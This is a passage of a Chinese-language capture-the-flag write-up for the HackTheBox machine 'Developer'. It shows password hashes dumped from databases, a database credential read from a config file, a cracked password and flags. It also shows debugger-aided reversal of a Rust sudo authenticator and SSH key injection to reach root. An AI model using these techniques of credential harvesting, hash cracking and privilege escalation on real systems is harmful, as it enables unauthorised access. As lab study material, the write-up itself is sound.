  8 | pbkdf2_sha256$260000$1ooBpoiFmfVEwYt6dsoXMi$fODy4UKt0vv0BllqLAJmSinmGBFffbezZrLptuyGpe4= | 2025-06-21 11:35:29.667268+00 | f            | sunset                                                                                                                                                 |            |           | sunset@qq.com            | f        | t         | 2025-06-21 04:44:05.184883+00
  9 | pbkdf2_sha256$260000$7fttI4Tuwlrd2wlnkScbDs$t9DwUfhd6jv8yiD7uih4HMgsKjrUg/uCVR3RdujzBic= |                               | f            | 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 |            |           |                          | f        | t         | 2025-06-21 13:07:47.706432+00
 10 | pbkdf2_sha256$260000$2tCPe0purzYSIKkdmorGpl$a4bFd9XH8FUfnZl+mx/uAV3E1VxcjFJUOy8UAlbxL9Y= |                               | f            | 222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 |            |           |                          | f        | t         | 2025-06-21 13:08:43.403158+00
  1 | pbkdf2_sha256$260000$H7w2AZzBGAHHHvSzgQZXHf$TWkQdxmDHXDxoWLSEQYjZQbMJJjMpzmEHBqWMNHr0xc= | 2025-06-21 13:16:19.266228+00 | t            | admin                                                                                                                                                  | Jacob      | Taylor    | admin@developer.ctf      | t        | t         | 2021-05-22 23:14:03+00

然后在/etc/sentry/sentry.conf.py 又能找到一个数据库凭据

    'default': {
        'ENGINE': 'sentry.db.postgres',
        'NAME': 'sentry',                           
        'USER': 'sentry',
        'PASSWORD': 'SentryPassword2021',
        'HOST': 'localhost',
        'PORT': '',
    }     
}

这次能获得三个用户，并且karl是有家目录的

sentry=#   
select id,username,password from auth_user;
 id |      username       |                                   password                                    
----+---------------------+-------------------------------------------------------------------------------
  1 | karl@developer.htb  | pbkdf2_sha256$12000$wP0L4ePlxSjD$TTeyAB7uJ9uQprnr+mgRb8ZL8othIs32aGmqahx1rGI=
  6 | sunset@qq.com       | pbkdf2_sha256$12000$0EZfh8zCtpXY$8aNutC5bwrU65AtpuvspwEicUw2+63EQ61zjTyzVViE=
  5 | jacob@developer.htb | pbkdf2_sha256$12000$MqrMlEjmKEQD$MeYgWqZffc6tBixWGwXX2NTf/0jIG42ofI+W3vcUKts=
(3 rows)

尝试破解密码

得到密码：insaneclownposse

成功进入Karl用户Shell中，读取user.txt

karl@developer:~$ cat user.txt
77cc1a399155edc9a66dae47df32a834

In Karl Shell - To Root

sudo权限

karl@developer:~$ sudo -l
[sudo] password for karl: 
Matching Defaults entries for karl on developer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User karl may run the following commands on developer:
    (ALL : ALL) /root/.auth/authenticator

拉出来IDA ，rust 逆向+1

main中还有个authentication::main

int __fastcall main(int argc, const char **argv, const char **envp)
{
  isize v4; // rdx
  core::ops::function::_Fn<()> v5; // rdi
  __int64 (__fastcall *v7)(); // [rsp+0h] [rbp-8h] BYREF

  v4 = argc;
  v7 = authentication::main::h453271f02403abaf;
  v5.vtable = (usize (*)[3])&anon_b091e66417960b0266d335ff382118b4_0_llvm_10046553308101135558;
  v5.pointer = (u8 *)&v7;
  return std::rt::lang_start_internal::h3c710f42dc1fbba8(v5, v4, (u8 **)argv);
}

进入到authentication::main ，前边两个print是打印前两条信息

再下面就是加密的函数

args.pieces.data_ptr = (_str *)crypto::aes::ctr::h2e946f13694abc7d(0LL, &v36, 16LL, &v37, 16LL);

告诉我们使用AES-CTR进行加密，并且传入了从内存地址冲传入的两个常量v36和v37 ，很有可能是key和VI

我们从v36 和 v37中将值复制出来

还因为是小端显示的问题，我们还要对其转换一下

D5F5F4BE3DD4209E6191795C3432E8A3
6A812006DC5598A79A95D2D9E3591F76
//
A3E832345C7991619E20D43DBEF4F5D5
761F59E3D9D2959AA79855DC0620816A

我们将加密和解密函数准备好

再到下边（代码喂给AI），首先会判断明文长度是否等于32

if ( size[1] == 32
    && (ptr == (u8 *)v5
     || _mm_movemask_epi8(
          _mm_and_si128(
            _mm_cmpeq_epi8(_mm_loadu_si128((const __m128i *)ptr + 1), _mm_loadu_si128(v5 + 1)),
            _mm_cmpeq_epi8(_mm_loadu_si128((const __m128i *)ptr), _mm_loadu_si128(v5)))) == 0xFFFF) )
  {

ptr (我们的解密结果) 的地址被加载到了 RAX 寄存器。v5 (程序内置的目标明文) 的地址被加载到了 R15 寄存器。

通过调试确认一下

pwndbg> b main
pwndbg> r
pwndbg> b *0x55555555b9b9
Breakpoint 2 at 0x55555555b9b9
pwndbg> c
Continuing.
Welcome to TheCyberGeek's super secure login portal!
Enter your password to access the super user:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //因为期待解密后明文长度是32因此输入32个A
pwndbg> hexdump $rax 32 //获取RAX的值
+0000 0x5555555b7dd0  ed 2f 17 c5 87 44 a4 d8  5c a2 c9 6b d4 69 18 22  │./...D..│\..k.i."│
+0010 0x5555555b7de0  69 86 ec f4 c8 2c 84 de  d8 c1 dc 4b ec 57 6e 44  │i....,..│...K.WnD│

➜  Developer awk '{for(i=3;i<=18;i++) printf $i}' rax
ed2f17c58744a4d85ca2c96bd46918226986ecf4c82c84ded8c1dc4bec576e44#

解密成功，那么R15的值应该就是我们需要的

pwndbg> hexdump $r15 32
+0000 0x5555555b7c20  fe 1b 25 f0 80 6a 97 ca  78 80 fd 58 fc 5c 20 23  │..%..j..│x..X.\.#│
+0010 0x5555555b7c30  6c a2 db d0 e5 02 b5 fa  eb c0 af 3a 9f 27 15 2c  │l.......│...:.'.,│

➜  Developer awk '{for(i=3;i<=18;i++) printf $i}' r15
fe1b25f0806a97ca7880fd58fc5c20236ca2dbd0e502b5faebc0af3a9f27152c#

得到重点RustForSecurity@Developer@2021:)

我们到karl的shell中运行程序，会让我们输入我们的公钥

karl@developer:~$ sudo /root/.auth/authenticator 
[sudo] password for karl: 
Welcome to TheCyberGeek's super secure login portal!
Enter your password to access the super user: 
RustForSecurity@Developer@2021:)
You have successfully authenticated
Enter your SSH public key in now:
ssh-xxxxx AAAAC3NzxxxxxxxJqSEDwP6SCfe root@kali
You may now authenticate as root!

然后通过我们的私钥就可以登录到root

读取 root.txt

root@developer:~# cat root.txt 
720b2e4080688fxxxxx

总结

很多的知识盲区，或者说是我没耐心，很多地方都要看一下WP才能知道如何走下去

总的来说难度个人而言 8/10 ，泪

HackTheBox - Machine - Developer